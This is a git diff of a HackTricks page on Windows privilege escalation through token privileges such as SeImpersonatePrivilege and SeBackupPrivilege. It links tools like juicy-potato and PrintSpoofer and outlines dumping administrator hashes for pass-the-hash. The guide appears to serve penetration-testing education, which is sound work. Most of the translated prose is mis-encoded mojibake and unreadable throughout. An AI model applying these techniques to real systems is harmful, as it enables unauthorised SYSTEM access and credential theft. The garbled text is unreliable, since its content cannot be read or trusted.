| | -## рд╕рдВрджрд░реНрдн +## Reference -- Windows рдЯреЛрдХрди рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдЗрд╕ рддрд╛рд▓рд┐рдХрд╛ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВ: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ [**рдЗрд╕ рдкреЗрдкрд░**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред +- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index bd7d03b7e..9925bcc8e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -10,11 +10,11 @@ ../access-tokens.md {{#endref}} -**рд╢рд╛рдпрдж рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдЯреЛрдХрдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ** +**рд╢рд╛рдпрдж рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдЯреЛрдХрдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВ** ### SeImpersonatePrivilege -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдзрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг (рд▓реЗрдХрд┐рди рдирд┐рд░реНрдорд╛рдг рдирд╣реАрдВ) рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдХреЛ Windows рд╕реЗрд╡рд╛ (DCOM) рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдПрдХ рд╢реЛрд╖рдг рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░реЗрд░рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП winrm рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) рдФрд░ [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдзрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг (рд▓реЗрдХрд┐рди рдирд┐рд░реНрдорд╛рдг рдирд╣реАрдВ) рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдХреЛ Windows рд╕реЗрд╡рд╛ (DCOM) рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рджрд░реНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SYSTEM рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП winrm рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) рдФрд░ [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} ../roguepotato-and-printspoofer.md @@ -27,8 +27,8 @@ ### SeAssignPrimaryPrivilege рдпрд╣ **SeImpersonatePrivilege** рдХреЗ рд╕рдорд╛рди рд╣реИ, рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕рдорд╛рди рд╡рд┐рдзрд┐** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред\ -рдлрд┐рд░, рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдПрдХ рдирдП/рдирд┐рд▓рдВрдмрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреЛ рдПрдХ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди рдЕрд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЖрдк рдПрдХ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди (DuplicateTokenEx) рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рдЗрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде, рдЖрдк 'CreateProcessAsUser' рдХреЗ рд╕рд╛рде рдПрдХ **рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рд▓рдВрдмрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдЯреЛрдХрди рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЖрдк рдПрдХ рдЪрд▓ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ)ред +рдлрд┐рд░, рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдПрдХ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди** рдХреЛ рдПрдХ рдирдП/рд╕реНрдердЧрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЖрдк рдПрдХ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди (DuplicateTokenEx) рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдЗрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде, рдЖрдк 'CreateProcessAsUser' рдХреЗ рд╕рд╛рде рдПрдХ **рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрдердЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдЯреЛрдХрди рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдЖрдк рдПрдХ рдЪрд▓ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреНрд░рд╛рдердорд┐рдХ рдЯреЛрдХрди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ)ред ### SeTcbPrivilege @@ -36,13 +36,13 @@ ### SeBackupPrivilege -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рддрдХ рд╕реАрдорд┐рдд) рдХреЗ рд▓рд┐рдП **рд╕рднреА рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж, "**psexec**" рдпрд╛ "**wmiexec**" рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (Pass-the-Hash рддрдХрдиреАрдХ)ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рддрдХрдиреАрдХ рджреЛ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ: рдЬрдм рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ рдЬрдм рдПрдХ рдиреАрддрд┐ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣рдЯрд╛ рджреЗрддреА рд╣реИред\ +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рддрдХ рд╕реАрдорд┐рдд) рдХреЗ рд▓рд┐рдП **рд╕рднреА рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ** рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕реЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж, рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ "**psexec**" рдпрд╛ "**wmiexec**" рд╣реИрд╢ рдХреЗ рд╕рд╛рде (Pass-the-Hash рддрдХрдиреАрдХ)ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рддрдХрдиреАрдХ рджреЛ рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреА рд╣реИ: рдЬрдм рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдЕрдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ рдЬрдм рдПрдХ рдиреАрддрд┐ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреЛрдВ рд╕реЗ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд╣рдЯрд╛ рджреЗрддреА рд╣реИред\ рдЖрдк рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) - **IppSec** рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- рдпрд╛ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **рдмреИрдХрдЕрдк рдСрдкрд░реЗрдЯрд░реЛрдВ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ: +- рдпрд╛ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ **Backup Operators рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ** рдХреЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ: {{#ref}} ../../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -50,23 +50,23 @@ ### SeRestorePrivilege -рдХрд┐рд╕реА рднреА рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП **рд▓реЗрдЦрди рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ, рдЪрд╛рд╣реЗ рдлрд╝рд╛рдЗрд▓ рдХреА рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL) рдХреБрдЫ рднреА рд╣реЛред рдпрд╣ рдХрдИ рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреЛ рдЦреЛрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ **рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛**, DLL Hijacking рдХрд░рдирд╛, рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХреЗ рдмреАрдЪ рдЗрдореЗрдЬ рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдбреАрдмрдЧрд░реНрд╕** рд╕реЗрдЯ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +рдХрд┐рд╕реА рднреА рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП **рд▓реЗрдЦрди рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ, рдЪрд╛рд╣реЗ рдлрд╝рд╛рдЗрд▓ рдХреА рдПрдХреНрд╕реЗрд╕ рдХрдВрдЯреНрд░реЛрд▓ рд▓рд┐рд╕реНрдЯ (ACL) рдХреБрдЫ рднреА рд╣реЛред рдпрд╣ рдХрдИ рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреЛ рдЦреЛрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ **рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛**, DLL Hijacking рдХрд░рдирд╛, рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХреЗ рдмреАрдЪ рдЗрдореЗрдЬ рдлрд╝рд╛рдЗрд▓ рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **рдбрд┐рдмрдЧрд░** рд╕реЗрдЯ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред ### SeCreateTokenPrivilege -SeCreateTokenPrivilege рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЕрдиреБрдорддрд┐ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди SeImpersonatePrivilege рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ рднреАред рдпрд╣ рдХреНрд╖рдорддрд╛ рдЙрд╕ рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдХрд░рдг рдХреА рдХреНрд╖рдорддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕реНрддрд░ рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред +SeCreateTokenPrivilege рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЕрдиреБрдорддрд┐ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддрдм рдЙрдкрдпреЛрдЧреА рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛ, рд▓реЗрдХрд┐рди SeImpersonatePrivilege рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ рднреАред рдпрд╣ рдХреНрд╖рдорддрд╛ рдЙрд╕ рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдХрд░рдг рдХреА рдХреНрд╖рдорддрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕реНрддрд░ рд╕реЗ рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред **рдореБрдЦреНрдп рдмрд┐рдВрджреБ:** -- **SeImpersonatePrivilege рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрдХрд░рдг:** рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SeCreateTokenPrivilege рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ EoP рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред +- **SeImpersonatePrivilege рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрдХрд░рдг:** рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдХреЗ EoP рдХреЗ рд▓рд┐рдП SeCreateTokenPrivilege рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред - **рдЯреЛрдХрди рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╢рд░реНрддреЗрдВ:** рд╕рдлрд▓ рдЕрдиреБрдХрд░рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдЯреЛрдХрди рдХреЛ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдЗрд╕рдХрд╛ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ рдХреЗ рдмрд░рд╛рдмрд░ рдпрд╛ рдХрдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реА рд╣реИред - **рдЕрдиреБрдХрд░рдг рдЯреЛрдХрдиреЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди:** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдЕрдиреБрдХрд░рдг рдЯреЛрдХрди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣ рдХреЗ SID (рд╕реБрд░рдХреНрд╖рд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛) рдХреЛ рдЬреЛрдбрд╝рдХрд░ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред ### SeLoadDriverPrivilege -рдпрд╣ 